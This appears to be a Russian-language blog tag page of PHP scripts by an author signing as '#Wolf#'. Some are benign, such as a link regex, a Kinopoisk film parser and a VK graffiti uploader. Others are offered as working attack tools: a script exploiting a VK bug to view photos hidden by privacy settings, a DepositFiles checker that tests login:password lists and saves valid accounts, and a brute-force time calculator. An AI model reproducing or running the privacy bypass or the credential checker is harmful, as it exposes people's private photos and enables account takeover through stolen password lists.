Posts Tagged ‘ php

preg_replace или делаем ссылки кликабельными

Несколько дней назад мой товарищ попросил меня помочь с одним вопросом.
Задача была следующей: заменить все ссылки вида

http://google.com

на кликабельные ,т.е

<a href="http://google.com">http://google.com</a>

Чуть ниже представлена простейшая реализация:

$text=preg_replace('#((?:http|https):\/\/[^\s]+)#i','<a href="$1" />$1', $text);

Если же просто надо спарсить ссылки, то:

preg_match_all('#((?:http|https):\/\/[^\s]+)#i',$text,$matches);
print_r($matches);

Просматриваем скрытые фото Вконтакте

Довольно таки старый "баг" контакта, позволяющий просматривать закрытые фото (aka "Фотография защищена настройками приватности").
Как это работает?

Берем нашу фотографию, которую хотим увидеть,
ищем в URL ее id(через "_", например 111111_111111)
Заходим на свою стену и пишем:
[[photo111111_111111]]qwert
(после ]] обязательно необходимо добавить какую-нибудь комбинацию символов)
В итоге на стену будет отправлено превью нашей фотографии, по клику на которое мы получим полное фото. После этого запись на стене можно удалить.
Слудующий скрипт выполняет все вышеописанные действия автоматически, от вас только требуется указать ссылку, например:

http://vk.com/photos.php?act=show&id=17555451_140583084&uid=10824648

или
http://vk.com/photo17555451_140583084

(Ссылки в примерах случайные - следовательно неработоспособные)

< ?php
header('Content-Type: text/html; charset=utf-8');
echo '<form method="get"><input type="text" name="url" size="50"/><input type="submit" value="GET"/>';
if(!isset($_REQUEST['url']) || empty($_REQUEST['url']))die('Введите адрес картинки');
#################################
# Просматриваем скрытые фото Вконтакте
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
$email=''; //ваш логин
$pass=''; //ваш пароль
$url=$_REQUEST['url'];
function post($url,$post=false,$refer=false){//функция
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0(Windows;U;WindowsNT5.1;ru;rv:1.9.0.4)Gecko/2008102920AdCentriaIM/1.7Firefox/3.0.4");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_HEADER,0);//заголовки
if($header)
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch,CURLOPT_REFERER,$refer);
curl_setopt($ch,CURLOPT_COOKIEJAR,'../cookies.txt');
curl_setopt($ch,CURLOPT_COOKIEFILE,'../cookies.txt');
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$result=curl_exec($ch);
return $result;
}
function decode($hash)
{
  function hashes($str)
  {
      $length=strlen($str);
      $tmp="";
      for($i=0;$i< $length;$i++)
      $tmp.=$str[$length-$i-1];
      return $tmp;
  }
      return  hashes(substr($hash,strlen($hash)-5).substr($hash,4,strlen($hash)-12));
}
function rand_s($num){
$a=array_merge(range('A','Z'),range('a','z'),range(0,9));
shuffle($a);
for($i=0;$i<$num;$i++){
$t.=$a[array_rand($a)];
}
return $t;
}
//act=a_post_wall&hash=c1ac3250fd1533fdda&message=12313313&to_id=197445970603&top_id=&type=0&old=1
$result=iconv("windows-1251","UTF-8",post('http://vk.com/login.php','act=login&success_url=&fail_url=&try_to_login=1&to=&vk=&email='.$email.'&pass='.$pass,'http://vk.com/'));//auth
preg_match('#[\d]+_[\d]+#',$url,$photo);
preg_match('#javascript:\spostWall\(([\d]+),\s\'([0-9a-f]+)\'\)#is',$result,$data);
$r=post('http://vk.com/wall.php','act=a_post_wall&hash='.decode($data[2]).'&message='.urlencode('[[photo'.$photo[0].']]').'test&to_id='.$data[1].'&top_id=&type=0&old=1');//отправляем
//print_r($data);
$regxp='#id=\\\"wallphoto_src'.$photo[0].'\\\" value=\\\"(.*?)\\\"\s\\\/>#';
preg_match_all($regxp, $r, $m);
preg_match_all('#deletePost\(([\d]+),[\s]?([\d]+),[\s]?\'([a-z0-9]{18})\'\)#is',$r,$del);
$img=str_replace("\\","",$m[1][0]);
post('http://vk.com/wall.php','act=a_delete&oid='.$del[2][0].'&cid='.$del[1][0].'&hash='.$del[3][0].'&old=1');//удаляем
echo '<img src="'.$img.'" />';
?>

Kinopoisk.ru Parser

kinopoisk
Недавно мой знакомый (журналист на новостном портале) попросил меня "накатать" небольшой скриптик, для упрощения рутиной работы (копипастинг данных и оборачивание в BB-code).
Парсит нижеприведенный список значений:
1)Назывние
2)Оригинальное название
3)Год
4)Страна
5)Слоган
6)Режиссер
7)Сценарий
8)Продюсер
9)Оператор
10)Композитор
11)Жанр
12)Бюджет
13)Сборы в США
14)Сборы в мире
15)Сборы в России
16)Премьера (мир)
17)Премьера (РФ)
18)Релиз на DVD
19)Релиз на Blu-Ray
20)Рейтинг MPAA
21)Время
22)Описание
23)Рейтинг Кинопоиск
24)Рейтинг IMDb
25)Картинка(логотип фильма)
26)Ссылку на трейлер
27)Картинку к трейлеру
Парсер съедает ссылки вида:  http://www.kinopoisk.ru/level/1/film/251733/ и просто ID фильма: 251733

Авторизация необходима для обхода бана.

Код:

<form method='get'>
<input type='text' name='id' value='<?php echo $m[0];?>' size="40">
<input type='submit' value='get' name='submit'>
</form>
<?
#################################
# Kinopoisk.ru parser
# by #Wolf#
# http://wolf-et.ru/
#################################
if(empty($_REQUEST['id'])){die("die");}
//header ("Content-type: text/html; charset=utf-8");
$user='login';
$password='password';
   function post($url,$post,$refer)
	{
	if($post==null){$post=false;}
       $ch = curl_init($url);
       curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       curl_setopt($ch, CURLOPT_HEADER, 0);
       curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
       curl_setopt($ch, CURLOPT_REFERER, $refer);
       curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookie.txt");
       curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookie.txt");
       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       $result  = curl_exec($ch);
	   return $result;
	}
	preg_match('#([0-9]{2,7})#',$_REQUEST['id'],$m);
	post('http://www.kinopoisk.ru/level/30/','shop_user[login]='.$user.'&shop_user[pass]='.$password.'&shop_user[mem]=on&auth=%E2%EE%E9%F2%E8+%ED%E0+%F1%E0%E9%F2','http://www.kinopoisk.ru');
	$result=post('http://www.kinopoisk.ru/level/1/film/'.$m[0].'/',null,'http://www.kinopoisk.ru/');
    $result= iconv("cp1251", "utf8", $result);
	//echo $result;
	$parse=array(
	'name' =>         '#<h1 style=\"margin: 0; padding: 0\" class="moviename-big">(.*?)</h1>#si',
	'originalname'=>  '#13px">(.*?)</span>#si',
	'year' =>         '#год</td><td class=\"\">(.*?)</td></tr>#si',
	'country' =>      '#страна</td><td class=\"\">(.*?)</td></tr>#si',
	'slogan' =>       '#слоган</td><td style="color: \#555">(.*?)</td></tr>#si',
	'director' =>     '#режиссер</td><td>(.*?)</td></tr>#si',
	'script' =>       '#сценарий</td><td>(.*?)</td></tr>#si',
	'producer' =>     '#продюсер</td><td>(.*?)</td></tr>#si',
	'operator' =>     '#оператор</td><td>(.*?)</td></tr>#si',
	'composer' =>     '#композитор</td><td>(.*?)</td></tr>#si',
	'genre' =>        '#жанр</td><td>(.*?)</td></tr>#si',
	'budget' =>       '#бюджет</td><td class=\"dollar\">(.*?)</td></tr>#si',
	'usa_charges' =>  '#США</td><td class=\"dollar\">(.*?)</td></tr>#si',
	'world_charges'=> '#мире</td><td class=\"dollar\">(.*?)</td></tr>#si',
	'rus_charges' =>  '#России</td><td class=\"dollar\">(.*?)</td></tr>#si',
	'world_premiere'=>'#мир\)</td><td class=\"calendar\">(.*?)</td></tr>#si',
	'rus_premiere' => '#РФ\)</td><td class="calendar">(.*?)</td></tr>#si',
	'dvd' =>          '#dvd">(.*?)</td></tr>#is',
	'bluray' =>       '#bluray">(.*?)</td></tr>#is',
	'MPAA' =>         '#MPAA</td><td class=\"[\S]{1,100}\"><a href=\'[\S]{1,100}\'><img src=\'/[\S]{1,100}\' height=11 alt=\'(.*?)\' border=0#si',
	'time' =>         '#id="runtime">(.*?)</td></tr>#si',
	'description' =>  '#<span class=\"_reachbanner_\">(.*?)</span>#si',
	'imdb' =>         '#IMDB:\s(.*?)</div>#si',
	'kinopoisk' =>    '#text-decoration: none">(.*?)<span#si',
	'kp_votes' =>     '#<span style=\"font:100 14px tahoma, verdana\">(.*?)</span>#si',
	 );

   $new=array();
   foreach($parse as $index => $value)
   {
   preg_match($value,$result,$matches);
   $new[$index]=preg_replace("#<a.+?>(.+?)</a>#is","$1",$matches[1]);
   }
preg_match('#getTrailer\("(.*?)","(.*?)","(.*?)","[0-9]+","[0-9]+","(.*?)",""\);#i',$result,$trailer);
  /////////////////////////print//////////////////////////////
echo '[img]http://www.kinopoisk.ru/images/film/'.$m[0].'.jpg[/img]<br />';
echo '[Ссылка на трейлер] http://'.$trailer[4].'.kinopoisk.ru/trailers/flv/'.$trailer[2].'<br />';
echo '[Трейлер preview] http://'.$trailer[4].'.kinopoisk.ru/trailers/flv/'.$trailer[3].'<br />';
echo '[b]Назывние:[/b]'.$new['name'].'<br />';
echo '[b]Оригинальное название:[/b]'.$new['originalname'].'<br />';
echo '[b]Год:[/b]'.$new['year'].'<br />';
echo '[b]Страна:[/b]'.$new['country'].'<br />';
echo '[b]Слоган:[/b]'.$new['slogan'].'<br />';
echo '[b]Режиссер:[/b]'.$new['director'].'<br />';
echo '[b]Сценарий:[/b]'.$new['script'].'<br />';
echo '[b]Продюсер:[/b]'.$new['producer'].'<br />';
echo '[b]Оператор:[/b]'.$new['operator'].'<br />';
echo '[b]Композитор:[/b]'.$new['composer'].'<br />';
echo '[b]Жанр:[/b]'.$new['genre'].'<br />';
echo '[b]Бюджет:[/b]'.$new['budget'].'<br />';
echo '[b]Сборы в США:[/b]'.$new['usa_charges'].'<br />';
echo '[b]Сборы в мире:[/b]'.$new['world_charges'].'<br />';
echo '[b]Сборы в России:[/b]'.$new['rus_charges'].'<br />';
echo '[b]Премьера (мир):[/b]'.$new['world_premiere'].'<br />';
echo '[b]Премьера (РФ):[/b]'.$new['rus_premiere'].'<br />';
echo '[b]Релиз на DVD:[/b]'.$new['dvd'].'<br />';
echo '[b]Релиз на Blu-Ray:[/b]'.$new['bluray'].'<br />';
echo '[b]Рейтинг MPAA:[/b]'.$new['MPAA'].'<br />';
echo '[b]Время:[/b]'.$new['time'].'<br />';
echo '[b]Описание:[/b]'.$new['description'].'<br />';
echo '[b]Рейтинг Кинопоиск:[/b]'.$new['kinopoisk'].'('.$new['kp_votes'].' )<br />';
echo '[b]Рейтинг IMDb:[/b]'.$new['imdb'].'<br />';
?>

VK graffiti sender

Все видели убогий "flash-paint"? А почему бы не нарисовать"красиво" в "нормальных" графических редакторах? Или вообще найти что-нибудь готовое в сети.
kisa
И собственно сам скрипт:

<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<style>
body {
font:.8em Georgia, serif;
color:#F74600;

line-height:1.6em;
background:#363940;
}

.add_log {
	width:120px;
	height:20px;
	font-family:tahoma;
	font-size:11px;
	border:1px solid #A1B1BE;
	}
.add_but {
	width:120px;
	height:22px;
	font-family:tahoma;
	font-size:11px;
	border:1px solid #A1B1BE;
	}
	a {
color:#F74600;
text-decoration:none;
background:inherit;
}

a:hover {
color:gray;
background:inherit;
border-bottom: 1px dotted gray;
}

</style>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
<table border="1" align="center">
<tr><td>ID получателя!(только цифры)</td><td><input type="text" name="userid" class="add_but"></td>
<tr><td>Ваш e-mail(от ВК)</td><td><input type="text" name="email" class="add_but"></td>
<tr><td>Ваш пароль(от ВК)</td><td><input type="password" name="password" class="add_but"></td>
<tr><td>Картинка(586*293 и PNG!)</td><td><input type="file" name="FILE" size="40" class="add_but" /></td>
<tr><td></td><td><input type="submit" name="submit" class="add_but" value="Отправить!"></td>
<tr>
<td colspan="2" align="center">
by <b>#Wolf#</b> <a href="http://wolf-et.ru/">http://wolf-et.ru/</a></td></tr>
</table>
</form>
<?
#################################
# VK graffiti sender
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
if(!isset($_POST['submit'])){exit();}

if($_FILES['FILE']['name']){
	    if($_FILES['FILE']['type'] == 'image/png') {
	if(is_uploaded_file($_FILES['FILE']['tmp_name'])) {
		if($_FILES['FILE']['size'] != 0 AND $_FILES['FILE']['size']<=204800) {
			if(move_uploaded_file($_FILES['FILE']['tmp_name'],basename($_FILES['FILE']['name']))) {
			         }else{echo 'Произошла ошибка при перемещении файла в папку';}
                     }else{echo 'Размер файла не должен превышать 200Кб';}
                     }else{echo 'Прозошла ошибка при загрузке файла на сервер';}
                     }else{echo 'Файл не является картинкой формата PNG';}
                     }else{echo 'Файл должен иметь название';}

#####################################
$email=$_POST['email'];
//if(!preg_match('/^([a-z0-9])(([-a-z0-9._])*([a-z0-9]))*\@([a-z0-9])*(\.([a-z0-9])([-a-z0-9_-])([a-z0-9])+)*$/i',$email)) {die('Не верный формат email!');}
$pass=$_POST['password'];
$id=$_POST['userid'];
$graffitiFile = basename($_FILES['FILE']['name']);
   function post($url,$post,$refer)
	{
       $ch = curl_init($url);
       curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       curl_setopt($ch, CURLOPT_POST, 1);
       curl_setopt($ch, CURLOPT_HEADER, 0);
       curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
       curl_setopt($ch, CURLOPT_REFERER, $refer);
       curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
         curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");
       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       $result  = curl_exec($ch);
	   return $result;
	}
$image=Array
(
'Signature' => md5(substr(base64_encode(file_get_contents($graffitiFile)), 0,1024)),
'Filedata' => '@' . realpath($graffitiFile),
'Upload' => 'Submit Query',
);
$result = post('http://vk.com/login.php',
               'act=login&success_url=&fail_url=&try_to_login=1&to=&vk=&email='.$email.'&pass='.$pass,
			   'http://vk.com/');

		   $result2=post('http://vk.com/graffiti.php?to_id='.$id.'&group_id=0',$image,'http://vk.com/swf/Graffiti.swf?15');
echo '<h2><center><br /><a target="_blank" href="http://vk.com/graffiti.php?act=last">Теперь пройдите по этой ссылке и опубликуйте граффити!</a></center></h2>';

?>
</body>
</html>

Демо: http://wolf-et.ru/vk/g/index.php

DepositFiles accounts checker

Думаю объяснять что это такое нет смысла, т.к все понятно по заголовку :]
Работает на сокетах.

<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
 $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
 $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки
 $out .= "Host: depositfiles.com\r\n";
 $out .= "Keep-Alive: 300\r\n";
 $out .= "Connection: keep-alive\r\n";
 $out .= "User-Agent: ".$user_agent."\r\n";
 $out .= "Cookie: income=1\r\n";
 $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
 fwrite($fp,$out);
 $ans = '';
 while (!feof($fp)) {
        $ans .= fgets($fp, 128);  # ответ сервера
    }
 fclose($fp);  # Закрываем сокеты
 return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) {  #цикл
 list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
    if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта
    echo $login.':'.$pass.'<br />';
    flush();
    ob_flush();
    $fd = fopen($vallist,'a+'); # открываем файл
    fputs($fd,$account[$i]); # записываем  в файл  рабочий акк
    fclose($fd);  # закрываем файл
    ++$valid;
    }else ++$invalid;
}
echo "<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>

Bruteforce time calculator

Довольно часто мне приходится работать с консольной программой EGB(Extreme GPU Bruteforcer) в которой к сожалению нет функции "Сколько осталось до конца атаки?".
egb

<?php
#################################
# Calculation brute-force time
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
if(isset($_POST['char']) && isset($_POST['num']) && isset($_POST['speed']))
{
$char=$_POST['char'];
$num=$_POST['num'];
$speed=$_POST['speed'];
$do=pow($char,$num);
$do2=$do/$speed;
$se=$do2/1000000;
$ro=round($se);
}
function convert_time($sec) {
 $a = array(
  31556926   => 'year', //количество секунд в году
  2629743    => 'month', //количество секунд в месяце
  86400      => 'day', // количество секунд в сутках
  3600       => 'hour', // количество секунд в часе
  60         => 'min', // количество секунд в минуте
  1          => 'sec' // количество секунд в секунде =D
 );
 $out = '';
 foreach ($a as $k=>$v) {
  $tmp = floor($sec/$k);
  $out .= ($tmp?$tmp.$v.' ':'');
  $sec -= $tmp*$k;
 }
 return $out;
}

echo <<<HERE
<html>
<head>
<title></title>
<style>
body
{
    background-color: #cdc9c9;
}
table
{
    border: 1px #666666 solid;
}
td,th
{
    font-size: 10px;
    font-family: verdana, tahoma;
    color: #666666;
    background-color: #cdc9c9;
    border: 0px #333333 solid;
}
input
{
    font-family: verdana, tahoma;
    font-size: 10px;
    color: grey;
    background-color: #cdc9c9;
    border: 1px #666666 solid;
}
a
{
    font-size: 10px;
    text-decoration: none;
    color: grey;
}
</style>
</head>
<table border="0" width="600" align="center">
<form method="POST">
<tr>
<td colspan="2" align="center">
<b>Bruteforce time calculator</b>
</td>
</tr>
<tr>
<td>Символов в наборе([a-z]=26|[0-9]=10)</td>
<td><input type="text" name="char" size="50"></td>
</tr>
<tr>
<td>Глубина перебора(длина)</td>
<td><input type="text" name="num" size="50"></td>
</tr>
<tr>
<td>Скорость перебора(млн/с)</td>
<td><input type="text" name="speed" size="50"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Отправить"></td>
</tr>
<td colspan="2" align="center">
<b>
HERE;
 echo convert_time($ro)."<b>

<tr>
<td colspan=\"2\" align=\"center\">
by <b>#Wolf#</b>
</td>
</tr>
</form>
</table>";
?>

Прошу "сильно не пинать", т.к скрипт был написан довольно таки давно, как раз в то время ,когда я только начинал учить php.

Автоматическая раздача инвайтов на anticaptcha

Решил выложить на мой взгляд простейший скрипт для автоматической раздачи инвайтов на anticaptcha(antigate.com).

Обновлено! Работает с новым дизайном от 14.01.10
Обновлено! Работает с новым дизайном от 7.06.10. Также прошу обратить внимание на то, что инвайты теперь стоят 1 цент и лимита на количество неактивированных инвайтов пока не наблюдается.
Внимание! Цена нового инвайта повышена до 10 центов.

<style>
.add_but {
width:120px;
height:22px;
font-family:tahoma;
font-size:11px;
border:1px solid #A1B1BE;
}
</style>
<form method="POST">
<input type="submit" name="submit" class="add_but" value="Получить!"/>
</form>
< ?php
#################################
# AC get inv
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
set_time_limit(0);
$login='your_email'; //ваш e-mail
$password='your_password'; //пароль
set_time_limit(0);
function curlpost($post){
$url = "http://antigate.com/panel.php";
$ref = "http://antigate.com/";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT,$ua);
curl_setopt($ch, CURLOPT_REFERER,$ref);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_COOKIEJAR,"cookies.txt");
//curl_setopt($ch, CURLOPT_TIMEOUT,18);
curl_setopt($ch, CURLOPT_COOKIEFILE,"cookies.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
if(!isset($_POST['submit']))die();
$result=curlpost('action=invites');
if(!preg_match_all('#<tr><td>([a-f0-9]{10})</td><td><font color=red>#is',$result,$m)) {curlpost('login='.$login.'&password='.$password.'&action=do_new_invite&confirm10cent=true');
echo 'Вышел TimeOut подключения к серверу. Пожалуйста, попробуйте еще раз!'; die();}else{
echo 'Неактивированные инвайты: ';
foreach($m[1] as $v)
echo '<h1>'.$v.'</h1><br />';
}
?>
 
http://wolf-et.ru/wp-admin/page/library/